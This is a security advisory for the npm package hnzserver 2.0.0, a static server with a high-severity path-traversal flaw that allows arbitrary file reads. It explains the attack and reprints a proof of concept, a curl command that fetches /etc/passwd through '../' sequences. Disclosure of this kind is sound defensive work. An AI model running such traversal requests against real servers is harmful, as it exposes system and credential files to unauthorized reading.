hnzserver@2.0.0

Vulnerabilities

1 via 1 paths

Dependencies

1

Source

npm

Find, fix and prevent vulnerabilities in your code.

Severity
  • 1
Status
  • 1
  • 0
  • 0

high severity

Arbitrary File Read

  • Vulnerable module: hnzserver
  • Introduced through: hnzserver@2.0.0

Detailed paths

  • Introduced through: hnzserver@2.0.0

Overview

hnzserver is a static server.

Affected versions of this package are vulnerable to Arbitrary File Read. Path traversal attack (also known as directory traversal) aims to access files and directories that are stored outside the web root folder. By manipulating variables that reference files with “dot-dot-slash (../)” sequences and its variations or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system including application source code or configuration and critical system files.

PoC by lightangel1412

  • Install the module

npm install -g hnzserver

  • Run 'hnzserver in "~/Desktop" directory :

    root@kali:~/Desktop# hnzserver
    server running is :http://localhost:8888
  • Use cURL to access etc/passwd file:

$ curl --path-as-is --url 'http://127.0.0.1:8888/../../../../etc/passwd'

Remediation

There is no fixed version for hnzserver.

References